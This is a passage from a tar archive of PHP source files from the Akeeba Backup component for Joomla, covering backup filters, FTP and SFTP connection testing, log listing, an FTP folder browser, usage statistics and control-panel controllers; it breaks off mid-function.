	 * Retrieves the filters as an array. Used for the tabular filter editor.
	 *
	 * @param   string  $root  The root node to search filters on
	 *
	 * @return  array  A collection of hash arrays containing node and type for each filtered element
	 */
	protected function &getTabularFilters($root)
	{
		// A reference to the global Akeeba Engine filter object
		$filters = Factory::getFilters();

		// Initialize the return array
		$ret = array();

		foreach ($this->knownFilterTypes as $type)
		{
			$rawFilterData = $filters->getFilterData($type);

			if (array_key_exists($root, $rawFilterData))
			{
				if (!empty($rawFilterData[ $root ]))
				{
					foreach ($rawFilterData[ $root ] as $node)
					{
						$ret[] = array(
							'node' => substr($node, 0), // Make sure we get a COPY, not a reference to the original data
							'type' => $type
						);
					}
				}
			}
		}

		return $ret;
	}

	/**
	 * Resets the filters
	 *
	 * @param   string  $root  Root directory
	 *
	 * @return  void
	 */
	protected function resetAllFilters($root)
	{
		// Get a reference to the global Filters object
		$filters = Factory::getFilters();

		foreach ($this->knownFilterTypes as $filterName)
		{
			$filter = Factory::getFilterObject($filterName);
			$filter->reset($root);
		}

		$filters->save();
	}
}
com_akeeba/Model/Configuration.php000060400000013376152455305260013207 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Backup\Admin\Model;

// Protect from unauthorized access
defined('_JEXEC') || die();

use Akeeba\Engine\Archiver\Directftp;
use Akeeba\Engine\Archiver\Directsftp;
use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use Akeeba\Engine\Postproc\Base;
use Akeeba\Engine\Util\Transfer\FtpCurl;
use Akeeba\Engine\Util\Transfer\SftpCurl;
use Exception;
use FOF40\Model\Model;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Uri\Uri;
use RuntimeException;

class Configuration extends Model
{
	/**
	 * Save the engine configuration
	 *
	 * @return  void
	 */
	public function saveEngineConfig()
	{
		$data = $this->getState('engineconfig', []);

		// Forbid stupidly selecting the site's root as the output or temporary directory
		if (array_key_exists('akeeba.basic.output_directory', $data))
		{
			$folder = $data['akeeba.basic.output_directory'];
			$folder = Factory::getFilesystemTools()->translateStockDirs($folder, true, true);
			$check  = Factory::getFilesystemTools()->translateStockDirs('[SITEROOT]', true, true);

			if ($check == $folder)
			{
				$data['akeeba.basic.output_directory'] = '[DEFAULT_OUTPUT]';
			}
			else
			{
				$data['akeeba.basic.output_directory'] = Factory::getFilesystemTools()->rebaseFolderToStockDirs($data['akeeba.basic.output_directory']);
			}
		}

		// Unprotect the configuration and merge it
		$config        = Factory::getConfiguration();
		$protectedKeys = $config->getProtectedKeys();
		$config->resetProtectedKeys();
		$config->mergeArray($data, false, false);
		$config->setProtectedKeys($protectedKeys);

		// Save configuration
		Platform::getInstance()->save_configuration();
	}

	/**
	 * Test the FTP connection.
	 *
	 * @return  void
	 * @throws  RuntimeException
	 */
	public function testFTP()
	{
		$config = [
			'host'    => $this->getState('host'),
			'port'    => $this->getState('port'),
			'user'    => $this->getState('user'),
			'pass'    => $this->getState('pass'),
			'initdir' => $this->getState('initdir'),
			'usessl'  => $this->getState('usessl'),
			'passive' => $this->getState('passive'),
		];

		// Check for bad settings
		if (substr($config['host'], 0, 6) == 'ftp://')
		{
			throw new RuntimeException(Text::_('COM_AKEEBA_CONFIG_FTPTEST_BADPREFIX'), 500);
		}

		// Special case for cURL transport
		if ($this->getState('isCurl'))
		{
			$this->testFtpCurl();

			return;
		}

		// Perform the FTP connection test
		$test = new Directftp();

		$test->initialize('', $config);
	}

	/**
	 * Test the SFTP connection.
	 *
	 * @return  void
	 * @throws  RuntimeException
	 */
	public function testSFTP()
	{
		$config = [
			'host'    => $this->getState('host'),
			'port'    => $this->getState('port'),
			'user'    => $this->getState('user'),
			'pass'    => $this->getState('pass'),
			'privkey' => $this->getState('privkey'),
			'pubkey'  => $this->getState('pubkey'),
			'initdir' => $this->getState('initdir'),
		];

		// Check for bad settings
		if (substr($config['host'], 0, 7) == 'sftp://')
		{
			throw new RuntimeException(Text::_('COM_AKEEBA_CONFIG_SFTPTEST_BADPREFIX'), 500);
		}

		// Special case for cURL transport
		if ($this->getState('isCurl'))
		{
			$this->testSftpCurl();

			return;
		}

		// Perform the FTP connection test
		$test = new Directsftp();

		$test->initialize('', $config);
	}

	/**
	 * Opens an OAuth window for the selected post-processing engine
	 *
	 * @return  void
	 * @throws  Exception
	 */
	public function dpeOuthOpen()
	{
		$engine = $this->getState('engine');
		$params = $this->getState('params', []);

		// Get a callback URI for OAuth 2
		$params['callbackURI'] = rtrim(Uri::base(), '/') . '/index.php?option=com_akeeba&view=Configuration&task=dpecustomapiraw&engine=' . $engine;

		// Get the Input object
		$params['input'] = $this->input->getData();

		// Get the engine
		$engineObject = Factory::getPostprocEngine($engine);

		if (!$engineObject instanceof Base)
		{
			return;
		}

		$engineObject->oauthOpen($params);
	}

	/**
	 * Runs a custom API call for the selected post-processing engine
	 *
	 * @return  mixed
	 */
	public function dpeCustomAPICall()
	{
		$engine = $this->getState('engine');
		$method = $this->getState('method');
		$params = $this->getState('params', []);

		// Get the Input object
		$params['input'] = $this->input->getData();

		$engineObject = Factory::getPostprocEngine($engine);

		if (!$engineObject instanceof Base)
		{
			return false;
		}

		return $engineObject->customAPICall($method, $params);
	}

	/**
	 * Test the connection to a remote FTP server using cURL transport
	 *
	 * @return  void
	 * @throws  RuntimeException
	 */
	private function testFtpCurl()
	{
		$options = [
			'host'        => $this->getState('host'),
			'port'        => $this->getState('port'),
			'username'    => $this->getState('user'),
			'password'    => $this->getState('pass'),
			'directory'   => $this->getState('initdir'),
			'usessl'      => $this->getState('usessl'),
			'passive'     => $this->getState('passive'),
			'passive_fix' => $this->getState('passive_mode_workaround'),
		];

		$sftpTransfer = new FtpCurl($options);

		$sftpTransfer->connect();
	}

	/**
	 * Test the connection to a remote SFTP server using cURL transport
	 *
	 * @return  void
	 * @throws  RuntimeException
	 */
	private function testSftpCurl()
	{
		$options = [
			'host'       => $this->getState('host'),
			'port'       => $this->getState('port'),
			'username'   => $this->getState('user'),
			'password'   => $this->getState('pass'),
			'directory'  => $this->getState('initdir'),
			'privateKey' => $this->getState('privkey'),
			'publicKey'  => $this->getState('pubkey'),
		];

		$sftpTransfer = new SftpCurl($options);

		$sftpTransfer->connect();
	}
}
com_akeeba/Model/Log.php000060400000012177152455305260011117 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Backup\Admin\Model;

// Protect from unauthorized access
defined('_JEXEC') || die();

use Akeeba\Engine\Factory;
use FOF40\Model\Model;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;

class Log extends Model
{
	/**
	 * Get an array with the names of all log files in this backup profile
	 *
	 * @param   bool  $onlyFailed  Should I only return the log files of backups marked as failed?
	 *
	 * @return  string[]
	 */
	public function getLogFiles(bool $onlyFailed = false): array
	{
		$configuration = Factory::getConfiguration();
		$outdir        = $configuration->get('akeeba.basic.output_directory');

		$files = Factory::getFileLister()->getFiles($outdir);
		$ret   = [];

		if (!empty($files) && is_array($files))
		{
			foreach ($files as $filename)
			{
				$baseName         = basename($filename);
				$startsWithAkeeba = substr($baseName, 0, 7) == 'akeeba.';
				$endsWithLog      = substr($baseName, -4) == '.log';
				$endsWithPhpLog   = substr($baseName, -8) == '.log.php';
				$isDefaultLog     = $baseName == 'akeeba.log';

				if ($startsWithAkeeba && ($endsWithLog || $endsWithPhpLog) && !$isDefaultLog)
				{
					/**
					 * Extract the tag from the filename (akeeba.tag.log or akeeba.tag.log.php)
					 *
					 * We ignore the first seven characters ("akeeba.") and the last X characters, where X is 8 if the
					 * log file name ends with .log.php or 4 if the log name ends with .log.
					 */
					$tag = substr($baseName, 7, -($endsWithPhpLog ? 8 : 4));

					if (empty($tag))
					{
						continue;
					}

					$parts = explode('.', $tag);
					$key   = array_pop($parts);
					$key   = str_replace('id', '', $key);
					$key   = is_numeric($key) ? sprintf('%015u', $key) : $key;

					if (empty($parts))
					{
						$key = str_repeat('0', 15) . '.' . $key;
					}
					else
					{
						$key .= '.' . implode('.', $parts);
					}

					$ret[$key] = $tag;
				}
			}
		}

		if ($onlyFailed)
		{
			$ret = $this->keepOnlyFailedLogs($ret);
		}

		krsort($ret);

		return $ret;
	}

	/**
	 * Gets the JHtml options list for selecting a log file
	 *
	 * @param   bool  $onlyFailed  Should I only return the log files of backups marked as failed?
	 *
	 * @return  array
	 */
	public function getLogList(bool $onlyFailed = false): array
	{
		$origin  = null;
		$options = [];

		$list = $this->getLogFiles($onlyFailed);

		if (!empty($list))
		{
			$options[] = HTMLHelper::_('select.option', null, Text::_('COM_AKEEBA_LOG_CHOOSE_FILE_VALUE'));

			foreach ($list as $item)
			{
				$text = Text::_('COM_AKEEBA_BUADMIN_LABEL_ORIGIN_' . $item);

				if (strstr($item, '.') !== false)
				{
					[$origin, $backupId] = explode('.', $item, 2);

					$text = Text::_('COM_AKEEBA_BUADMIN_LABEL_ORIGIN_' . $origin) . ' (' . $backupId . ')';
				}

				$options[] = HTMLHelper::_('select.option', $item, $text);
			}
		}

		return $options;
	}

	/**
	 * Output the raw text log file to the standard output without the PHP die header
	 *
	 * @param   bool  $withHeader  Should I include a header telling the user how to submit this file?
	 *
	 * @return  void
	 */
	public function echoRawLog($withHeader = true)
	{
		$tag     = $this->getState('tag', '');
		$logFile = Factory::getLog()->getLogFilename($tag);

		if (!@is_file($logFile) && @file_exists(substr($logFile, 0, -4)))
		{
			/**
			 * Transitional period: the log file akeeba.tag.log.php may not exist but the akeeba.tag.log does. This
			 * addresses this transition.
			 */
			$logFile = substr($logFile, 0, -4);
		}

		if ($withHeader)
		{
			echo "WARNING: Do not copy and paste lines from this file!\r\n";
			echo "You are supposed to ZIP and attach it in your support forum post.\r\n";
			echo "If you fail to do so, we will be unable to provide efficient support.\r\n";
			echo "\r\n";
			echo "--- START OF RAW LOG --\r\n";
		}

		// The at sign (silence operator) is necessary to prevent PHP showing a warning if the file doesn't exist or
		// isn't readable for any reason.
		$fp = @fopen($logFile, 'r');

		if ($fp === false)
		{
			if ($withHeader)
			{
				echo "--- END OF RAW LOG ---\r\n";
			}

			return;
		}

		$firstLine = @fgets($fp);
		if (substr($firstLine, 0, 5) != '<' . '?' . 'php')
		{
			@fclose($fp);
			@readfile($logFile);
		}
		else
		{
			while (!feof($fp))
			{
				echo rtrim(fgets($fp)) . "\r\n";
			}

			@fclose($fp);
		}

		if ($withHeader)
		{
			echo "--- END OF RAW LOG ---\r\n";
		}
	}

	protected function keepOnlyFailedLogs($logs)
	{
		$db            = $this->container->db;
		$query         = $db->getQuery(true)
			->select([
				$db->quoteName('tag'),
				$db->quoteName('backupid'),
			])
			->from($db->quoteName('#__ak_stats'))
			->where($db->quoteName('status') . ' = ' . $db->quote('fail'));
		$failedBackups = $db->setQuery($query)->loadObjectList() ?: [];

		if (empty($failedBackups))
		{
			return [];
		}

		$failedBackups = array_map(function ($o) {
			$tag = $o->tag ?? '';

			return (empty($tag) ? '' : '.') . $o->backupid;
		}, $failedBackups);

		return array_intersect($logs, $failedBackups);
	}
}
com_akeeba/Model/FTPBrowser.php000060400000010327152455305260012366 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Backup\Admin\Model;

// Protect from unauthorized access
defined('_JEXEC') || die();

use FOF40\Model\Model;
use Joomla\CMS\Language\Text;
use RuntimeException;

class FTPBrowser extends Model
{
	/**
	 * The FTP server hostname
	 *
	 * @var  string
	 */
	public $host = '';

	/**
	 * The FTP server port number (default: 21)
	 *
	 * @var  int
	 */
	public $port = 21;

	/**
	 * Should I use passive mode (default: yes)
	 *
	 * @var  bool
	 */
	public $passive = true;

	/**
	 * Should I use FTP over SSL (default: no)
	 *
	 * @var  bool
	 */
	public $ssl = false;

	/**
	 * Username for logging in
	 *
	 * @var  string
	 */
	public $username = '';

	/**
	 * Password for logging in
	 *
	 * @var  string
	 */
	public $password = '';

	/**
	 * The directory to browse
	 *
	 * @var  string
	 */
	public $directory = '';

	/**
	 * Breadcrumbs to the current directory
	 *
	 * @var  array
	 */
	public $parts = [];

	/**
	 * Path to the parent directory
	 *
	 * @var  string
	 */
	public $parent_directory = null;

	/**
	 * Gets the folders contained in the remote FTP root directory defined in $this->directory
	 *
	 * @return  array
	 */
	public function getListing()
	{
		$dir = $this->directory;

		// Parse directory to parts
		$parsed_dir  = trim($dir, '/');
		$this->parts = empty($parsed_dir) ? [] : explode('/', $parsed_dir);

		// Find the path to the parent directory
		$this->parent_directory = '';

		if (!empty($this->parts))
		{
			$copy_of_parts = $this->parts;
			array_pop($copy_of_parts);

			$this->parent_directory = '/';

			if (!empty($copy_of_parts))
			{
				$this->parent_directory = '/' . implode('/', $copy_of_parts);
			}
		}

		// Connect to the server
		if ($this->ssl)
		{
			$con = @ftp_ssl_connect($this->host, $this->port);
		}
		else
		{
			$con = @ftp_connect($this->host, $this->port);
		}

		if ($con === false)
		{
			throw new RuntimeException(Text::_('COM_AKEEBA_FTPBROWSER_ERROR_HOSTNAME'));
		}

		// Login
		$result = @ftp_login($con, $this->username, $this->password);

		if ($result === false)
		{
			throw new RuntimeException(Text::_('COM_AKEEBA_FTPBROWSER_ERROR_USERPASS'));
		}

		// Set the passive mode -- don't care if it fails, though!
		@ftp_pasv($con, $this->passive);

		// Try to chdir to the specified directory
		if (!empty($dir))
		{
			$result = @ftp_chdir($con, $dir);

			if ($result === false)
			{
				throw new RuntimeException(Text::_('COM_AKEEBA_FTPBROWSER_ERROR_NOACCESS'));
			}
		}
		else
		{
			$this->directory = @ftp_pwd($con);

			$parsed_dir             = trim($this->directory, '/');
			$this->parts            = empty($parsed_dir) ? [] : explode('/', $parsed_dir);
			$this->parent_directory = $this->directory;
		}

		// Get a raw directory listing (hoping it's a UNIX server!)
		$list = @ftp_rawlist($con, '.');

		ftp_close($con);

		if ($list === false)
		{
			throw new RuntimeException(Text::_('COM_AKEEBA_FTPBROWSER_ERROR_UNSUPPORTED'));
		}

		// Parse the raw listing into an array
		$folders = $this->parse_rawlist($list);

		return $folders;
	}

	/**
	 * Perform the actual folder browsing. Returns an array that's usable by the UI.
	 *
	 * @return  array
	 */
	public function doBrowse()
	{
		$error = '';
		$list  = [];

		try
		{
			$list = $this->getListing();
		}
		catch (RuntimeException $e)
		{
			$error = $e->getMessage();
		}

		$response_array = [
			'error'       => $error,
			'list'        => $list,
			'breadcrumbs' => $this->parts,
			'directory'   => $this->directory,
			'parent'      => $this->parent_directory,
		];

		return $response_array;
	}

	/**
	 * Parse the raw list of folders returned by the server into a usable simple array of folders
	 *
	 * @param   array  $list  The raw folder list returned by ftp_rawlist
	 *
	 * @return  array  The parsed list of folders
	 */
	private function parse_rawlist(array $list)
	{
		$folders = [];

		foreach ($list as $v)
		{

			$vinfo = preg_split("/[\s]+/", $v, 9);

			if ($vinfo[0] !== "total")
			{
				$perms = $vinfo[0];

				if (substr($perms, 0, 1) == 'd')
				{
					$folders[] = $vinfo[8];
				}
			}
		}

		asort($folders);

		return $folders;
	}
}
com_akeeba/Model/UsageStatistics.php000060400000014445152455305260013515 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Backup\Admin\Model;

// Protect from unauthorized access
defined('_JEXEC') || die();

use AkeebaUsagestats;
use FOF40\Encrypt\Randval;
use FOF40\Model\Model;
use Joomla\CMS\Uri\Uri;

/**
 * Usage statistics collection model. Implements the anonymous collection of PHP, MySQL and Joomla! version information
 * which help us decide on the end of support for obsolete versions of said third party software.
 */
class UsageStatistics extends Model
{
	/**
	 * Get an existing unique site ID or create a new one
	 *
	 * @return  string
	 */
	public function getSiteId()
	{
		// Can I load a site ID from the database?
		$siteId = $this->getCommonVariable('stats_siteid', null);

		// Can I load the site Url from the database?
		$siteUrl = $this->getCommonVariable('stats_siteurl', null);

		// No id or the saved URL is not the same as the current one (ie site restored to a new url)?
		// Create a new, random site ID and save it to the database
		if (empty($siteId) || (md5(Uri::base()) != $siteUrl))
		{
			$siteUrl = md5(Uri::base());
			$this->setCommonVariable('stats_siteurl', $siteUrl);

			$randomData = random_bytes(120);
			$siteId     = sha1($randomData);

			$this->setCommonVariable('stats_siteid', $siteId);
		}

		return $siteId;
	}

	/**
	 * Send site information to the remove collection service
	 *
	 * @param   bool  $useIframe  Should I use an IFRAME?
	 *
	 * @return  bool
	 */
	public function collectStatistics($useIframe)
	{
		// Is data collection turned off?
		if (!$this->container->params->get('stats_enabled', 1))
		{
			return false;
		}

		// Make sure there is a site ID set
		$siteId    = $this->getSiteId();
		$container = $this->container;

		// UsageStats file is missing, no need to continue
		if (!file_exists($container->backEndPath . '/Master/Stats/usagestats.php'))
		{
			return false;
		}

		if (!class_exists('AkeebaUsagestats', false))
		{
			@include_once $container->backEndPath . '/Master/Stats/usagestats.php';
		}

		// UsageStats file is missing, no need to continue
		if (!class_exists('AkeebaUsagestats', false))
		{
			return false;
		}

		$lastrun = $this->getCommonVariable('stats_lastrun', 0);

		// It's not time to collect the stats
		if (time() < ($lastrun + 3600 * 24))
		{
			return false;
		}

		if (!defined('AKEEBA_VERSION'))
		{
			@include_once $container->backEndPath . '/version.php';
		}

		if (!defined('AKEEBA_VERSION'))
		{
			define('AKEEBA_VERSION', 'dev');
			define('AKEEBA_DATE', date('Y-m-d'));
		}

		$db = $container->db;

		try
		{
			$stats = new AkeebaUsagestats();
		}
		catch (\Exception $e)
		{
			return false;
		}

		$stats->setSiteId($siteId);

		// I can't use list since dev release don't have any dots
		$at_parts    = explode('.', AKEEBA_VERSION);
		$at_major    = $at_parts[0];
		$at_minor    = $at_parts[1] ?? '';
		$at_revision = $at_parts[2] ?? '';

		[$php_major, $php_minor, $php_revision] = explode('.', phpversion());
		$php_qualifier = strpos($php_revision, '~') !== false ? substr($php_revision, strpos($php_revision, '~')) : '';

		[$cms_major, $cms_minor, $cms_revision] = explode('.', JVERSION);
		[$db_major, $db_minor, $db_revision] = explode('.', $db->getVersion());
		$db_qualifier = strpos($db_revision, '~') !== false ? substr($db_revision, strpos($db_revision, '~')) : '';

		$db_driver = get_class($db);

		if (stripos($db_driver, 'mysql') !== false)
		{
			$stats->setValue('dt', 1);
		}
		else
		{
			$stats->setValue('dt', 0);
		}

		$stats->setValue('sw', AKEEBA_PRO ? 2 : 1); // software
		$stats->setValue('pro', AKEEBA_PRO); // pro
		$stats->setValue('sm', $at_major); // software_major
		$stats->setValue('sn', $at_minor); // software_minor
		$stats->setValue('sr', $at_revision); // software_revision
		$stats->setValue('pm', $php_major); // php_major
		$stats->setValue('pn', $php_minor); // php_minor
		$stats->setValue('pr', $php_revision); // php_revision
		$stats->setValue('pq', $php_qualifier); // php_qualifiers
		$stats->setValue('dm', $db_major); // db_major
		$stats->setValue('dn', $db_minor); // db_minor
		$stats->setValue('dr', $db_revision); // db_revision
		$stats->setValue('dq', $db_qualifier); // db_qualifiers
		$stats->setValue('ct', 1); // cms_type
		$stats->setValue('cm', $cms_major); // cms_major
		$stats->setValue('cn', $cms_minor); // cms_minor
		$stats->setValue('cr', $cms_revision); // cms_revision

		// Store the last execution time. We must store it even if we fail since we don't want a failed stats collection
		// to cause the site to stop responding.
		$this->setCommonVariable('stats_lastrun', time());

		$return = $stats->sendInfo($useIframe);

		return $return;
	}

	/**
	 * Load a variable from the common variables table. If it doesn't exist it returns $default
	 *
	 * @param   string  $key      The key to load
	 * @param   mixed   $default  The default value if the key doesn't exist
	 *
	 * @return  mixed  The contents of the key or null if it's not present
	 */
	public function getCommonVariable($key, $default = null)
	{
		$db    = $this->container->db;
		$query = $db->getQuery(true)
			->select($db->qn('value'))
			->from($db->qn('#__akeeba_common'))
			->where($db->qn('key') . ' = ' . $db->q($key));

		try
		{
			$db->setQuery($query);
			$result = $db->loadResult();
		}
		catch (\Exception $e)
		{
			$result = $default;
		}

		return $result;
	}

	/**
	 * Set a variable to the common variables table.
	 *
	 * @param   string  $key    The key to save
	 * @param   mixed   $value  The value to save
	 *
	 * @return  void
	 */
	public function setCommonVariable($key, $value)
	{
		$db    = $this->container->db;
		$query = $db->getQuery(true)
			->select('COUNT(*)')
			->from($db->qn('#__akeeba_common'))
			->where($db->qn('key') . ' = ' . $db->q($key));

		try
		{
			$db->setQuery($query);
			$count = $db->loadResult();
		}
		catch (\Exception $e)
		{
			return;
		}

		try
		{
			if (!$count)
			{
				$insertObject = (object) [
					'key'   => $key,
					'value' => $value,
				];
				$db->insertObject('#__akeeba_common', $insertObject);
			}
			else
			{
				$insertObject = (object) [
					'key'   => $key,
					'value' => $value,
				];

				$db->updateObject('#__akeeba_common', $insertObject, 'key');
			}
		}
		catch (\Exception $e)
		{
		}
	}
}
com_akeeba/access.xml000060400000001417152455305260010603 0ustar00<?xml version="1.0" encoding="utf-8"?>
<!--~
  ~ @package   akeebabackup
  ~ @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
  ~ @license   GNU General Public License version 3, or later
  -->
<access component="com_akeeba">
	<section name="component">
		<action name="core.admin" title="JACTION_ADMIN" description="JACTION_ADMIN_COMPONENT_DESC" />
		<action name="core.manage" title="JACTION_MANAGE" description="JACTION_MANAGE_COMPONENT_DESC" />
		<action name="akeeba.backup" title="Backup" description="JACTION_ADMIN_COMPONENT_DESC" />
		<action name="akeeba.configure" title="Configure" description="JACTION_MANAGE_COMPONENT_DESC" />
		<action name="akeeba.download" title="Download" description="JACTION_CREATE_COMPONENT_DESC" />
	</section>
</access>
com_akeeba/version.php000060400000000527152455305260011017 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

// Protect from unauthorized access
defined('_JEXEC') or die();

define('AKEEBA_PRO', '0');
define('AKEEBA_VERSION', '8.4.1');
define('AKEEBA_DATE', '2025-05-09');
com_akeeba/Controller/ConfigurationWizard.php000060400000002717152455305260015450 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Backup\Admin\Controller;

// Protect from unauthorized access
defined('_JEXEC') || die();

use Akeeba\Backup\Admin\Controller\Mixin\CustomACL;
use Akeeba\Backup\Admin\Controller\Mixin\PredefinedTaskList;
use FOF40\Container\Container;
use FOF40\Controller\Controller;
use Joomla\CMS\Component\ComponentHelper;

/**
 * Controller for the configuration wizard
 */
class ConfigurationWizard extends Controller
{
	use CustomACL;
	use PredefinedTaskList;

	/** @var bool  */
	private $noFlush = false;

	public function __construct(Container $container, array $config)
	{
		parent::__construct($container, $config);

		$this->setPredefinedTaskList(['main', 'ajax']);

		$this->noFlush = ComponentHelper::getParams('com_akeeba')->get('no_flush', 0) == 1;
	}

	/**
	 * Handles AJAX request by proxying the call to the Model, which does all the work, and returning the JSON encoded
	 * result back to the browser.
	 */
	public function ajax()
	{
		/** @var \Akeeba\Backup\Admin\Model\ConfigurationWizard $model */
		$model = $this->getModel();
		$model->setState('act', $this->input->get('act', '', 'cmd'));
		$ret = $model->runAjax();

		@ob_end_clean();
		echo '###' . json_encode($ret) . '###';

		if (!$this->noFlush)
		{
			flush();
		}

		$this->container->platform->closeApplication();
	}

}
com_akeeba/Controller/.htaccess000060400000000246152455305260012540 0ustar00<IfModule !mod_authz_core.c>
Order deny,allow
Deny from all
</IfModule>
<IfModule mod_authz_core.c>
  <RequireAll>
    Require all denied
  </RequireAll>
</IfModule>
com_akeeba/Controller/DatabaseFilters.php000060400000003607152455305260014514 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Backup\Admin\Controller;

// Protect from unauthorized access
defined('_JEXEC') || die();

use Akeeba\Backup\Admin\Controller\Mixin\CustomACL;
use Akeeba\Backup\Admin\Controller\Mixin\PredefinedTaskList;
use FOF40\Container\Container;
use FOF40\Controller\Controller;

/**
 * Database Filters controller
 */
class DatabaseFilters extends Controller
{
	use CustomACL;
	use PredefinedTaskList;

	/** @var bool  */
	private $noFlush = false;

	/**
	 * Should I decode the "action" JSON data as an associative array? Default is false (meaning we're decoding as an
	 * stdClass object).
	 *
	 * @var bool
	 */
	protected $decodeJsonAsArray = false;

	public function __construct(Container $container, array $config)
	{
		parent::__construct($container, $config);

		$this->setPredefinedTaskList(['main', 'ajax']);
	}

	/**
	 * Handles the "main" task, which displays a folder and file list
	 *
	 */
	public function main()
	{
		$task = $this->input->get('task', 'normal', 'cmd');

		/** @var \Akeeba\Backup\Admin\Model\DatabaseFilters $model */
		$model = $this->getModel();
		$model->setState('browse_task', $task);

		$this->display(false);
	}

	/**
	 * AJAX proxy
	 */
	public function ajax()
	{
		// Parse the JSON data and reset the action query param to the resulting array
		$action_json = $this->input->get('action', '', 'none', 2);
		$action      = json_decode($action_json, $this->decodeJsonAsArray);

		/** @var \Akeeba\Backup\Admin\Model\DatabaseFilters $model */
		$model = $this->getModel();

		$model->setState('action', $action);

		$ret = $model->doAjax();

		@ob_end_clean();
		echo '###' . json_encode($ret) . '###';

		if (!$this->noFlush)
		{
			flush();
		}

		$this->container->platform->closeApplication();
	}
}
com_akeeba/Controller/ControlPanel.php000060400000021523152455305260014054 0ustar00<?php
/**
 * @package   akeebabackup
 * @copyright Copyright (c)2006-2023 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Backup\Admin\Controller;

// Protect from unauthorized access
defined('_JEXEC') || die();

use Akeeba\Backup\Admin\Controller\Mixin\CustomACL;
use Akeeba\Backup\Admin\Controller\Mixin\PredefinedTaskList;
use Akeeba\Backup\Admin\Helper\Utils;
use Akeeba\Backup\Admin\Model\Backup as BackupModel;
use Akeeba\Backup\Admin\Model\ConfigurationWizard;
use Akeeba\Backup\Admin\Model\Updates;
use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use Exception;
use FOF40\Container\Container;
use FOF40\Controller\Controller;
use FOF40\Factory\Exception\ModelNotFound;
use FOF40\Utils\ViewManifestMigration;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Uri\Uri;
use RuntimeException;

/**
 * The Control Panel controller class
 */
class ControlPanel extends Controller
{
	use CustomACL, PredefinedTaskList;

	public function __construct(Container $container, array $config = [])
	{
		parent::__construct($container, $config);

		$this->setPredefinedTaskList([
			'main', 'SwitchProfile', 'applydlid', 'resetSecretWord',
			'forceUpdateDb', 'dismissUpsell', 'fixOutputDirectory', 'checkOutputDirectory', 'addRandomToFilename',
		]);
	}

	public function SwitchProfile()
	{
		// CSRF prevention
		$this->csrfProtection();

		$newProfile = $this->input->get('profileid', -10, 'int');

		if (!is_numeric($newProfile) || ($newProfile <= 0))
		{
			$this->setRedirect(\Joomla\CMS\Uri\Uri::base() . 'index.php?option=com_akeeba', \Joomla\CMS\Language\Text::_('COM_AKEEBA_CPANEL_PROFILE_SWITCH_ERROR'), 'error');

			return;
		}

		$this->container->platform->setSessionVar('profile', $newProfile, 'akeeba');
		$returnurl = $this->input->get('returnurl', '', 'base64');
		$url       = Utils::safeDecodeReturnUrl($returnurl);

		if (empty($url))
		{
			$url = \Joomla\CMS\Uri\Uri::base() . 'index.php?option=com_akeeba';
		}

		$this->setRedirect($url, \Joomla\CMS\Language\Text::_('COM_AKEEBA_CPANEL_PROFILE_SWITCH_OK'));
	}

	/**
	 * Applies the Download ID when the user is prompted about it in the Control Panel
	 */
	public function applydlid()
	{
		// CSRF prevention
		$this->csrfProtection();

		$msg     = \Joomla\CMS\Language\Text::_('COM_AKEEBA_CPANEL_ERR_INVALIDDOWNLOADID');
		$msgType = 'error';
		$dlid    = $this->input->getString('dlid', '');

		/** @var Updates $updateModel */
		$updateModel = $this->container->factory->model('Updates')->tmpInstance();
		$dlid        = $updateModel->sanitizeLicenseKey($dlid);
		$isValidDLID = $updateModel->isValidLicenseKey($dlid);

		// If the Download ID seems legit let's apply it
		if ($isValidDLID)
		{
			$msg     = null;
			$msgType = null;

			$updateModel->setLicenseKey($dlid);
		}

		// Redirect back to the control panel
		$returnurl = $this->input->get('returnurl', '', 'base64');
		$url       = Utils::safeDecodeReturnUrl($returnurl);

		if (empty($url))
		{
			$url = \Joomla\CMS\Uri\Uri::base() . 'index.php?option=com_akeeba';
		}

		$this->setRedirect($url, $msg, $msgType);
	}

	/**
	 * Reset the Secret Word for front-end and remote backup
	 *
	 * @return  void
	 */
	public function resetSecretWord()
	{
		// CSRF prevention
		$this->csrfProtection();

		$newSecret = $this->container->platform->getSessionVar('newSecretWord', null, 'akeeba.cpanel');

		if (empty($newSecret))
		{
			$random    = new \Akeeba\Engine\Util\RandomValue();
			$newSecret = $random->generateString(32);
			$this->container->platform->setSessionVar('newSecretWord', $newSecret, 'akeeba.cpanel');
		}

		$this->container->params->set('frontend_secret_word', $newSecret);
		$this->container->params->save();

		$this->container->platform->setSessionVar('newSecretWord', null, 'akeeba.cpanel');

		$msg = \Joomla\CMS\Language\Text::sprintf('COM_AKEEBA_CPANEL_MSG_FESECRETWORD_RESET', $newSecret);

		$url = 'index.php?option=com_akeeba';
		$this->setRedirect($url, $msg);
	}

	/**
	 * Resets the "updatedb" flag and forces the database updates
	 */
	public function forceUpdateDb()
	{
